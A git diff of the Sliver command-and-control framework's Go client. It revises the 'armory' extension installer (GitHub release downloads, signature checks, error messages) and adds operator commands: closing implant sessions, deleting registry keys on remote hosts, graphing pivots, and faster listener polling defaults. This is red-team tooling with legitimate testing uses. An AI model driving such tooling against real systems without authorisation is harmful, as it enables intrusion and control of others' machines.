CommandName: alias.CommandName,
|
||||
Version: alias.Version,
|
||||
CommandName: aliasPkg.CommandName,
|
||||
Version: aliasPkg.Version,
|
||||
Type: "Alias",
|
||||
Help: alias.Help,
|
||||
URL: alias.RepoURL,
|
||||
Help: aliasPkg.Help,
|
||||
URL: aliasPkg.RepoURL,
|
||||
})
|
||||
}
|
||||
for _, extension := range exts {
|
||||
@@ -240,34 +273,30 @@ func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.Exte
|
||||
})
|
||||
}
|
||||
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
tw.SetTitle(console.Bold + "Packages" + console.Normal)
|
||||
tw.AppendHeader(table.Row{
|
||||
"Command Name",
|
||||
"Version",
|
||||
"Type",
|
||||
"Help",
|
||||
"URL",
|
||||
})
|
||||
tw.SortBy([]table.SortBy{
|
||||
{Name: "Command Name", Mode: table.Asc},
|
||||
})
|
||||
|
||||
rows := []table.Row{}
|
||||
for _, pkg := range entries {
|
||||
color := console.Normal
|
||||
if extensions.CmdExists(pkg.CommandName, con.App) {
|
||||
color = console.Green
|
||||
}
|
||||
tw.AppendRow(table.Row{
|
||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.CommandName),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.Version),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.Type),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.Help),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.URL),
|
||||
})
|
||||
if minWidth < width {
|
||||
rows = append(rows, table.Row{
|
||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.CommandName),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.Version),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.Type),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.Help),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.URL),
|
||||
})
|
||||
} else {
|
||||
rows = append(rows, table.Row{
|
||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.CommandName),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.Version),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.Type),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.Help),
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
tw.AppendRows(rows)
|
||||
con.Printf("%s\n", tw.Render())
|
||||
}
|
||||
|
||||
@@ -359,7 +388,7 @@ func fetchIndex(armoryConfig *assets.ArmoryConfig, clientConfig ArmoryHTTPConfig
|
||||
return
|
||||
}
|
||||
if repoURL.Scheme != "https" && repoURL.Scheme != "http" {
|
||||
armoryResult.LastErr = errors.New("invalid URL scheme")
|
||||
armoryResult.LastErr = errors.New("invalid repo url scheme in index")
|
||||
return
|
||||
}
|
||||
|
||||
@@ -372,7 +401,9 @@ func fetchIndex(armoryConfig *assets.ArmoryConfig, clientConfig ArmoryHTTPConfig
|
||||
if index != nil {
|
||||
armoryResult.Index = *index
|
||||
}
|
||||
armoryResult.LastErr = err
|
||||
if err != nil {
|
||||
armoryResult.LastErr = fmt.Errorf("failed to parse armory index: %s", err)
|
||||
}
|
||||
}
|
||||
|
||||
func fetchPackageSignatures(indexes []ArmoryIndex, clientConfig ArmoryHTTPConfig) {
|
||||
@@ -410,11 +441,11 @@ func fetchPackageSignature(wg *sync.WaitGroup, armoryPkg *ArmoryPackage, clientC
|
||||
|
||||
repoURL, err := url.Parse(armoryPkg.RepoURL)
|
||||
if err != nil {
|
||||
pkgCacheEntry.LastErr = err
|
||||
pkgCacheEntry.LastErr = fmt.Errorf("failed to parse repo url: %s", err)
|
||||
return
|
||||
}
|
||||
if repoURL.Scheme != "https" && repoURL.Scheme != "http" {
|
||||
pkgCacheEntry.LastErr = errors.New("invalid URL scheme")
|
||||
pkgCacheEntry.LastErr = errors.New("invalid repo url scheme in pkg")
|
||||
return
|
||||
}
|
||||
|
||||
@@ -425,7 +456,7 @@ func fetchPackageSignature(wg *sync.WaitGroup, armoryPkg *ArmoryPackage, clientC
|
||||
sig, _, err = DefaultArmoryPkgParser(armoryPkg, true, clientConfig)
|
||||
}
|
||||
if err != nil {
|
||||
pkgCacheEntry.LastErr = err
|
||||
pkgCacheEntry.LastErr = fmt.Errorf("failed to parse pkg manifest: %s", err)
|
||||
return
|
||||
}
|
||||
if sig != nil {
|
||||
@@ -440,7 +471,7 @@ func fetchPackageSignature(wg *sync.WaitGroup, armoryPkg *ArmoryPackage, clientC
|
||||
if err == nil {
|
||||
manifestData, err := base64.StdEncoding.DecodeString(sig.TrustedComment)
|
||||
if err != nil {
|
||||
pkgCacheEntry.LastErr = err
|
||||
pkgCacheEntry.LastErr = fmt.Errorf("failed to b64 decode trusted comment: %s", err)
|
||||
return
|
||||
}
|
||||
if armoryPkg.IsAlias {
|
||||
@@ -448,6 +479,8 @@ func fetchPackageSignature(wg *sync.WaitGroup, armoryPkg *ArmoryPackage, clientC
|
||||
} else {
|
||||
pkgCacheEntry.Extension, err = extensions.ParseExtensionManifest(manifestData)
|
||||
}
|
||||
pkgCacheEntry.LastErr = err
|
||||
if err != nil {
|
||||
pkgCacheEntry.LastErr = fmt.Errorf("failed to parse trusted manifest in pkg signature: %s", err)
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -20,7 +20,6 @@ package armory
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"net/url"
|
||||
"os"
|
||||
@@ -64,7 +63,7 @@ func ArmoryInstallCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
|
||||
func installBundle(bundle *ArmoryBundle, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) {
|
||||
for _, pkgName := range bundle.Packages {
|
||||
err := installExtensionPackageByName(pkgName, clientConfig, con)
|
||||
err := installPackageByName(pkgName, clientConfig, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to install '%s': %s", pkgName, err)
|
||||
}
|
||||
@@ -114,6 +113,8 @@ func installAliasPackageByName(name string, clientConfig ArmoryHTTPConfig, con *
|
||||
return err
|
||||
}
|
||||
|
||||
con.PrintInfof("Downloading alias ...")
|
||||
|
||||
var sig *minisign.Signature
|
||||
var tarGz []byte
|
||||
if pkgParser, ok := pkgParsers[repoURL.Hostname()]; ok {
|
||||
@@ -144,6 +145,8 @@ func installAliasPackageByName(name string, clientConfig ArmoryHTTPConfig, con *
|
||||
}
|
||||
tmpFile.Close()
|
||||
|
||||
con.Printf(console.Clearln + "\r") // Clear the line
|
||||
|
||||
installPath := alias.InstallFromFile(tmpFile.Name(), true, con)
|
||||
if installPath == nil {
|
||||
return errors.New("failed to install alias")
|
||||
@@ -228,6 +231,8 @@ func installExtensionPackageByName(name string, clientConfig ArmoryHTTPConfig, c
|
||||
return err
|
||||
}
|
||||
|
||||
con.PrintInfof("Downloading extension ...")
|
||||
|
||||
var sig *minisign.Signature
|
||||
var tarGz []byte
|
||||
if pkgParser, ok := pkgParsers[repoURL.Hostname()]; ok {
|
||||
@@ -256,7 +261,12 @@ func installExtensionPackageByName(name string, clientConfig ArmoryHTTPConfig, c
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
tmpFile.Close()
|
||||
err = tmpFile.Sync()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
con.Printf(console.Clearln + "\r") // Clear download message
|
||||
|
||||
installPath := extensions.InstallFromFilePath(tmpFile.Name(), true, con)
|
||||
if installPath == nil {
|
||||
@@ -266,10 +276,8 @@ func installExtensionPackageByName(name string, clientConfig ArmoryHTTPConfig, c
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
// do not add if the command already exists
|
||||
if extensions.CmdExists(extCmd.Name, con.App) {
|
||||
return fmt.Errorf("%s command already exists", extCmd.Name)
|
||||
con.App.Commands().Remove(extCmd.Name)
|
||||
}
|
||||
extensions.ExtensionRegisterCommand(extCmd, con)
|
||||
return nil
|
||||
|
||||
@@ -28,6 +28,8 @@ import (
|
||||
"net"
|
||||
"net/http"
|
||||
"net/url"
|
||||
"path"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/server/cryptography/minisign"
|
||||
@@ -41,10 +43,11 @@ type ArmoryPackageParser func(*ArmoryPackage, bool, ArmoryHTTPConfig) (*minisign
|
||||
|
||||
var (
|
||||
indexParsers = map[string]ArmoryIndexParser{
|
||||
"api.github.com": GithubArmoryIndexParser,
|
||||
"api.github.com": GithubAPIArmoryIndexParser,
|
||||
}
|
||||
pkgParsers = map[string]ArmoryPackageParser{
|
||||
"api.github.com": GithubArmoryPackageParser,
|
||||
"api.github.com": GithubAPIArmoryPackageParser,
|
||||
"github.com": GithubArmoryPackageParser,
|
||||
}
|
||||
)
|
||||
|
||||
@@ -63,6 +66,10 @@ type armoryPkgResponse struct {
|
||||
TarGzURL string `json:"tar_gz_url"`
|
||||
}
|
||||
|
||||
//
|
||||
// Default Parsers for Self-Hosted Armories
|
||||
//
|
||||
|
||||
// DefaultArmoryParser - Parse the armory index directly from the url
|
||||
func DefaultArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig ArmoryHTTPConfig) (*ArmoryIndex, error) {
|
||||
var publicKey minisign.PublicKey
|
||||
@@ -163,6 +170,10 @@ func DefaultArmoryPkgParser(armoryPkg *ArmoryPackage, sigOnly bool, clientConfig
|
||||
return sig, tarGz, nil
|
||||
}
|
||||
|
||||
//
|
||||
// GitHub API Parsers
|
||||
//
|
||||
|
||||
type GithubAsset struct {
|
||||
ID int `json:"id"`
|
||||
Name string `json:"name"`
|
||||
@@ -187,8 +198,8 @@ type GithubRelease struct {
|
||||
Assets []GithubAsset `json:"assets"`
|
||||
}
|
||||
|
||||
// GithubArmoryIndexParser - Parse the armory index from a GitHub release
|
||||
func GithubArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig ArmoryHTTPConfig) (*ArmoryIndex, error) {
|
||||
// GithubAPIArmoryIndexParser - Parse the armory index from a GitHub release
|
||||
func GithubAPIArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig ArmoryHTTPConfig) (*ArmoryIndex, error) {
|
||||
var publicKey minisign.PublicKey
|
||||
err := publicKey.UnmarshalText([]byte(armoryConfig.PublicKey))
|
||||
if err != nil {
|
||||
@@ -206,6 +217,9 @@ func GithubArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig Arm
|
||||
return nil, err
|
||||
}
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
if resp.StatusCode == http.StatusForbidden {
|
||||
return nil, errors.New("you hit the github api rate limit (60 req/hr), try later")
|
||||
}
|
||||
return nil, errors.New("api returned non-200 status code")
|
||||
}
|
||||
|
||||
@@ -260,8 +274,8 @@ func GithubArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig Arm
|
||||
return armoryIndex, nil
|
||||
}
|
||||
|
||||
// GithubArmoryPackageParser - Retrieve the minisig and tar.gz for an armory package from a GitHub release
|
||||
func GithubArmoryPackageParser(armoryPkg *ArmoryPackage, sigOnly bool, clientConfig ArmoryHTTPConfig) (*minisign.Signature, []byte, error) {
|
||||
// GithubAPIArmoryPackageParser - Retrieve the minisig and tar.gz for an armory package from a GitHub release
|
||||
func GithubAPIArmoryPackageParser(armoryPkg *ArmoryPackage, sigOnly bool, clientConfig ArmoryHTTPConfig) (*minisign.Signature, []byte, error) {
|
||||
var publicKey minisign.PublicKey
|
||||
err := publicKey.UnmarshalText([]byte(armoryPkg.PublicKey))
|
||||
if err != nil {
|
||||
@@ -279,6 +293,9 @@ func GithubArmoryPackageParser(armoryPkg *ArmoryPackage, sigOnly bool, clientCon
|
||||
return nil, nil, err
|
||||
}
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
if resp.StatusCode == http.StatusForbidden {
|
||||
return nil, nil, errors.New("you hit the github api rate limit (60 req/hr), try later")
|
||||
}
|
||||
return nil, nil, errors.New("api returned non-200 status code")
|
||||
}
|
||||
|
||||
@@ -325,6 +342,100 @@ func GithubArmoryPackageParser(armoryPkg *ArmoryPackage, sigOnly bool, clientCon
|
||||
return sig, tarGz, err
|
||||
}
|
||||
|
||||
//
|
||||
// GitHub Parsers
|
||||
//
|
||||
|
||||
// GithubArmoryPackageParser - Uses github.com instead of api.github.com to download packages
|
||||
func GithubArmoryPackageParser(armoryPkg *ArmoryPackage, sigOnly bool, clientConfig ArmoryHTTPConfig) (*minisign.Signature, []byte, error) {
|
||||
latestTag, err := githubLatestTagParser(armoryPkg, clientConfig)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
client := httpClient(clientConfig)
|
||||
|
||||
sigURL, err := url.Parse(armoryPkg.RepoURL)
|
||||
if err != nil {
|
||||
return nil, nil, fmt.Errorf("failed to parse armory pkg url '%s': %s", armoryPkg.RepoURL, err)
|
||||
}
|
||||
sigURL.Path = path.Join(sigURL.Path, "releases", "download", latestTag, fmt.Sprintf("%s.minisig", armoryPkg.CommandName))
|
||||
sigResp, err := client.Get(sigURL.String())
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
defer sigResp.Body.Close()
|
||||
if sigResp.StatusCode != http.StatusOK {
|
||||
return nil, nil, fmt.Errorf("failed to get signature for armory pkg '%s': %s", armoryPkg.RepoURL, sigResp.Status)
|
||||
}
|
||||
var body []byte
|
||||
body, err = ioutil.ReadAll(sigResp.Body)
|
||||
if err != nil {
|
||||
return nil, nil, fmt.Errorf("failed to read resp body '%s': %s", armoryPkg.RepoURL, err)
|
||||
}
|
||||
sig, err := parsePkgMinsig(body)
|
||||
if err != nil {
|
||||
return nil, nil, fmt.Errorf("failed to parse pkg sig '%s': %s", armoryPkg.RepoURL, err)
|
||||
}
|
||||
|
||||
var tarGz []byte
|
||||
if !sigOnly {
|
||||
tarGzURL, err := url.Parse(armoryPkg.RepoURL)
|
||||
if err != nil {
|
||||
return nil, nil, fmt.Errorf("failed to parse armory pkg url '%s': %s", armoryPkg.RepoURL, err)
|
||||
}
|
||||
tarGzURL.Path = path.Join(tarGzURL.Path, "releases", "download", latestTag, fmt.Sprintf("%s.tar.gz", armoryPkg.CommandName))
|
||||
tarGzResp, err := client.Get(tarGzURL.String())
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
defer tarGzResp.Body.Close()
|
||||
if tarGzResp.StatusCode != http.StatusOK {
|
||||
return nil, nil, fmt.Errorf("failed to get tar.gz for armory pkg '%s': %s", armoryPkg.RepoURL, tarGzResp.Status)
|
||||
}
|
||||
tarGz, err = ioutil.ReadAll(tarGzResp.Body)
|
||||
if err != nil {
|
||||
return nil, nil, fmt.Errorf("failed to read tar.gz body '%s': %s", armoryPkg.RepoURL, err)
|
||||
}
|
||||
}
|
||||
|
||||
return sig, tarGz, nil
|
||||
}
|
||||
|
||||
// We need to intercept the 302 redirect to determine the latest version tag
|
||||
func githubLatestTagParser(armoryPkg *ArmoryPackage, clientConfig ArmoryHTTPConfig) (string, error) {
|
||||
client := httpClient(clientConfig)
|
||||
client.CheckRedirect = func(req *http.Request, via []*http.Request) error {
|
||||
return http.ErrUseLastResponse
|
||||
}
|
||||
latestURL, err := url.Parse(armoryPkg.RepoURL)
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("failed to parse armory pkg url '%s': %s", armoryPkg.RepoURL, err)
|
||||
}
|
||||
latestURL.Path = path.Join(latestURL.Path, "releases", "latest")
|
||||
latestRedirect, err := client.Get(latestURL.String())
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("http get failed armory pkg url '%s': %s", armoryPkg.RepoURL, err)
|
||||
}
|
||||
if latestRedirect.StatusCode != http.StatusFound {
|
||||
return "", fmt.Errorf("unexpected response status (wanted 302) '%s': %s", armoryPkg.RepoURL, latestRedirect.Status)
|
||||
}
|
||||
if latestRedirect.Header.Get("Location") == "" {
|
||||
return "", fmt.Errorf("no location header in response '%s'", armoryPkg.RepoURL)
|
||||
}
|
||||
latestLocationURL, err := url.Parse(latestRedirect.Header.Get("Location"))
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("failed to parse location header '%s'->'%s': %s",
|
||||
armoryPkg.RepoURL, latestRedirect.Header.Get("Location"), err)
|
||||
}
|
||||
pathSegments := strings.Split(latestLocationURL.Path, "/")
|
||||
for index, segment := range pathSegments {
|
||||
if segment == "tag" && index+1 < len(pathSegments) {
|
||||
return pathSegments[index+1], nil
|
||||
}
|
||||
}
|
||||
return "", errors.New("tag not found in location header")
|
||||
}
|
||||
|
||||
func parsePkgMinsig(data []byte) (*minisign.Signature, error) {
|
||||
var sig minisign.Signature
|
||||
err := sig.UnmarshalText(data)
|
||||
@@ -344,6 +455,7 @@ func httpClient(config ArmoryHTTPConfig) *http.Client {
|
||||
Dial: (&net.Dialer{
|
||||
Timeout: config.Timeout,
|
||||
}).Dial,
|
||||
|
||||
Proxy: http.ProxyURL(config.ProxyURL),
|
||||
|
||||
TLSHandshakeTimeout: config.Timeout,
|
||||
|
||||
+72
-13
@@ -107,7 +107,11 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
n++
|
||||
}
|
||||
if 0 < n {
|
||||
con.PrintInfof("Loaded %d alias(es) from disk\n", n)
|
||||
if n == 1 {
|
||||
con.PrintInfof("Loaded %d alias from disk\n", n)
|
||||
} else {
|
||||
con.PrintInfof("Loaded %d aliases from disk\n", n)
|
||||
}
|
||||
}
|
||||
|
||||
// Load Extensions
|
||||
@@ -417,8 +421,8 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.String("L", "lhost", "", "interface to bind server to")
|
||||
f.Int("l", "lport", generate.DefaultHTTPLPort, "tcp listen port")
|
||||
f.Bool("D", "disable-otp", false, "disable otp authentication")
|
||||
f.String("T", "long-poll-timeout", "1m30s", "server-side long poll timeout")
|
||||
f.String("J", "long-poll-jitter", "30s", "server-side long poll jitter")
|
||||
f.String("T", "long-poll-timeout", "1s", "server-side long poll timeout")
|
||||
f.String("J", "long-poll-jitter", "2s", "server-side long poll jitter")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
f.Bool("p", "persistent", false, "make persistent across restarts")
|
||||
@@ -442,8 +446,8 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.String("L", "lhost", "", "interface to bind server to")
|
||||
f.Int("l", "lport", generate.DefaultHTTPSLPort, "tcp listen port")
|
||||
f.Bool("D", "disable-otp", false, "disable otp authentication")
|
||||
f.String("T", "long-poll-timeout", "1m30s", "server-side long poll timeout")
|
||||
f.String("J", "long-poll-jitter", "30s", "server-side long poll jitter")
|
||||
f.String("T", "long-poll-timeout", "1s", "server-side long poll timeout")
|
||||
f.String("J", "long-poll-jitter", "2s", "server-side long poll jitter")
|
||||
|
||||
f.String("c", "cert", "", "PEM encoded certificate file")
|
||||
f.String("k", "key", "", "PEM encoded private key file")
|
||||
@@ -466,7 +470,7 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
Help: "Start a stager listener",
|
||||
LongHelp: help.GetHelpFor([]string{consts.StageListenerStr}),
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.String("p", "profile", "", "Implant profile name to link with the listener")
|
||||
f.String("p", "profile", "", "implant profile name to link with the listener")
|
||||
f.String("u", "url", "", "URL to which the stager will call back to")
|
||||
f.String("c", "cert", "", "path to PEM encoded certificate file (HTTPS only)")
|
||||
f.String("k", "key", "", "path to PEM encoded private key file (HTTPS only)")
|
||||
@@ -506,10 +510,10 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
Help: "Session management",
|
||||
LongHelp: help.GetHelpFor([]string{consts.SessionsStr}),
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.String("i", "interact", "", "interact with a sliver")
|
||||
f.String("k", "kill", "", "Kill the designated session")
|
||||
f.Bool("K", "kill-all", false, "Kill all the sessions")
|
||||
f.Bool("C", "clean", false, "Clean out any sessions marked as [DEAD]")
|
||||
f.String("i", "interact", "", "interact with a session")
|
||||
f.String("k", "kill", "", "kill the designated session")
|
||||
f.Bool("K", "kill-all", false, "kill all the sessions")
|
||||
f.Bool("C", "clean", false, "clean out any sessions marked as [DEAD]")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
@@ -523,7 +527,7 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
}
|
||||
sessionsCmd.AddCommand(&grumble.Command{
|
||||
Name: consts.PruneStr,
|
||||
Help: "Kill all stale sessions",
|
||||
Help: "Kill all stale/dead sessions",
|
||||
LongHelp: help.GetHelpFor([]string{consts.SessionsStr, consts.PruneStr}),
|
||||
Flags: func(f *grumble.Flags) {
|
||||
|
||||
@@ -602,8 +606,8 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.String("g", "wg", "", "wg connection strings")
|
||||
f.String("b", "http", "", "http(s) connection strings")
|
||||
f.String("n", "dns", "", "dns connection strings")
|
||||
f.String("p", "named-pipe", "", "named-pipe connection strings")
|
||||
f.String("i", "tcp-pivot", "", "tcp-pivot connection strings")
|
||||
f.String("p", "named-pipe", "", "namedpipe connection strings")
|
||||
f.String("i", "tcp-pivot", "", "tcppivot connection strings")
|
||||
|
||||
f.String("d", "delay", "0s", "delay opening the session (after checkin) for a given period of time")
|
||||
|
||||
@@ -619,6 +623,24 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
}
|
||||
con.App.AddCommand(openSessionCmd)
|
||||
|
||||
// [ Close ] --------------------------------------------------------------
|
||||
closeSessionCmd := &grumble.Command{
|
||||
Name: consts.CloseStr,
|
||||
Help: "Close an interactive session without killing the remote process",
|
||||
LongHelp: help.GetHelpFor([]string{consts.CloseStr}),
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
sessions.CloseSessionCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
HelpGroup: consts.SliverHelpGroup,
|
||||
}
|
||||
con.App.AddCommand(closeSessionCmd)
|
||||
|
||||
// [ Tasks ] --------------------------------------------------------------
|
||||
|
||||
tasksCmd := &grumble.Command{
|
||||
@@ -2272,6 +2294,25 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.String("o", "hostname", "", "remote host to write values to")
|
||||
},
|
||||
})
|
||||
registryCmd.AddCommand(&grumble.Command{
|
||||
Name: consts.RegistryDeleteKeyStr,
|
||||
Help: "Remove a registry key",
|
||||
LongHelp: help.GetHelpFor([]string{consts.RegistryDeleteKeyStr}),
|
||||
Args: func(a *grumble.Args) {
|
||||
a.String("registry-path", "registry path")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
registry.RegDeleteKeyCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
f.String("H", "hive", "HKCU", "registry hive")
|
||||
f.String("o", "hostname", "", "remote host to remove value from")
|
||||
},
|
||||
})
|
||||
registryCmd.AddCommand(&grumble.Command{
|
||||
Name: consts.RegistryListSubStr,
|
||||
Help: "List the sub keys under a registry key",
|
||||
@@ -2405,6 +2446,24 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
HelpGroup: consts.SliverHelpGroup,
|
||||
})
|
||||
|
||||
pivotsCmd.AddCommand(&grumble.Command{
|
||||
Name: "graph",
|
||||
Help: "Get details of a pivot listener",
|
||||
LongHelp: help.GetHelpFor([]string{consts.PivotsStr, "graph"}),
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Int("i", "id", 0, "id of the pivot listener to stop")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
pivots.PivotsGraphCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
HelpGroup: consts.SliverHelpGroup,
|
||||
})
|
||||
|
||||
// [ WireGuard ] --------------------------------------------------------------
|
||||
|
||||
con.App.AddCommand(&grumble.Command{
|
||||
|
||||
@@ -56,7 +56,7 @@ The structure is the following one:
|
||||
- `files`: a list of object pointing to the extensions files to load for each architectures and operating systems
|
||||
- `init`: the initialization function name (if relevant, can be omitted)
|
||||
- `arguments`: an optional list of objects (for DLLs), but mandatory for BOFs
|
||||
- `dependsOn`: the name of an extension required by the current extension (won't load if the dependency is not loaded)
|
||||
- `depends_on`: the name of an extension required by the current extension (won't load if the dependency is not loaded)
|
||||
|
||||
The `type` of an argument can be one of the following:
|
||||
|
||||
|
||||
@@ -34,7 +34,11 @@ import (
|
||||
|
||||
// ExtensionsCmd - List information about installed extensions
|
||||
func ExtensionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
PrintExtensions(con)
|
||||
if 0 < len(getInstalledManifests()) {
|
||||
PrintExtensions(con)
|
||||
} else {
|
||||
con.PrintInfof("No extensions installed, use the 'armory' command to automatically install some\n")
|
||||
}
|
||||
}
|
||||
|
||||
// PrintExtensions - Print a list of loaded extensions
|
||||
|
||||
@@ -98,7 +98,7 @@ func installFromDir(extLocalPath string, con *console.SliverConsoleClient) {
|
||||
|
||||
}
|
||||
|
||||
// Install an extension from a .tar.gz file
|
||||
// InstallFromFilePath - Install an extension from a .tar.gz file
|
||||
func InstallFromFilePath(extLocalPath string, autoOverwrite bool, con *console.SliverConsoleClient) *string {
|
||||
manifestData, err := util.ReadFileFromTarGz(extLocalPath, fmt.Sprintf("./%s", ManifestFileName))
|
||||
if err != nil {
|
||||
@@ -151,14 +151,20 @@ func InstallFromFilePath(extLocalPath string, autoOverwrite bool, con *console.S
|
||||
}
|
||||
|
||||
func installArtifact(extGzFilePath string, installPath string, artifactPath string, con *console.SliverConsoleClient) error {
|
||||
data, err := util.ReadFileFromTarGz(extGzFilePath, artifactPath)
|
||||
data, err := util.ReadFileFromTarGz(extGzFilePath, "."+artifactPath)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if len(data) == 0 {
|
||||
return fmt.Errorf("archive path '%s' is empty", "."+artifactPath)
|
||||
}
|
||||
localArtifactPath := filepath.Join(installPath, util.ResolvePath(artifactPath))
|
||||
artifactDir := filepath.Dir(localArtifactPath)
|
||||
if _, err := os.Stat(artifactDir); os.IsNotExist(err) {
|
||||
os.MkdirAll(artifactDir, 0o700)
|
||||
err := os.MkdirAll(artifactDir, 0o700)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
err = ioutil.WriteFile(localArtifactPath, data, 0o600)
|
||||
if err != nil {
|
||||
|
||||
@@ -82,7 +82,7 @@ func (e *ExtensionManifest) getFileForTarget(cmdName string, targetOS string, ta
|
||||
filePath := ""
|
||||
for _, extFile := range e.Files {
|
||||
if targetOS == extFile.OS && targetArch == extFile.Arch {
|
||||
filePath = path.Join(assets.GetExtensionsDir(), cmdName, extFile.Path)
|
||||
filePath = path.Join(assets.GetExtensionsDir(), e.CommandName, extFile.Path)
|
||||
break
|
||||
}
|
||||
}
|
||||
@@ -105,12 +105,12 @@ func ExtensionLoadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
return
|
||||
}
|
||||
// do not add if the command already exists
|
||||
if CmdExists(extCmd.Name, con.App) {
|
||||
con.PrintErrorf("%s command already exists\n", extCmd.Name)
|
||||
if CmdExists(extCmd.CommandName, con.App) {
|
||||
con.PrintErrorf("%s command already exists\n", extCmd.CommandName)
|
||||
return
|
||||
}
|
||||
ExtensionRegisterCommand(extCmd, con)
|
||||
con.PrintInfof("Added %s command: %s\n", extCmd.Name, extCmd.Help)
|
||||
con.PrintInfof("Added %s command: %s\n", extCmd.CommandName, extCmd.Help)
|
||||
}
|
||||
|
||||
// ParseExtensions - Parse extension files
|
||||
@@ -280,7 +280,7 @@ func loadExtension(ctx *grumble.Context, session *clientpb.Session, con *console
|
||||
|
||||
func registerExtension(con *console.SliverConsoleClient, ext *ExtensionManifest, binData []byte, session *clientpb.Session, ctx *grumble.Context) error {
|
||||
registerResp, err := con.Rpc.RegisterExtension(context.Background(), &sliverpb.RegisterExtensionReq{
|
||||
Name: ext.Name,
|
||||
Name: ext.CommandName,
|
||||
Data: binData,
|
||||
OS: session.OS,
|
||||
Init: ext.Init,
|
||||
@@ -298,7 +298,7 @@ func registerExtension(con *console.SliverConsoleClient, ext *ExtensionManifest,
|
||||
func loadDep(session *clientpb.Session, con *console.SliverConsoleClient, ctx *grumble.Context, depName string) error {
|
||||
depExt, f := loadedExtensions[depName]
|
||||
if f {
|
||||
depBinPath, err := depExt.getFileForTarget(depExt.Name, session.OS, session.Arch)
|
||||
depBinPath, err := depExt.getFileForTarget(depExt.CommandName, session.OS, session.Arch)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
@@ -370,7 +370,7 @@ func runExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
// Regular DLL
|
||||
extArgs := strings.Join(ctx.Args.StringList("arguments"), " ")
|
||||
extensionArgs = []byte(extArgs)
|
||||
extName = ext.Name
|
||||
extName = ext.CommandName
|
||||
entryPoint = ext.Entrypoint
|
||||
}
|
||||
ctrl := make(chan bool)
|
||||
@@ -399,6 +399,7 @@ func runExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
outFilePath.Write(callExtension.Output)
|
||||
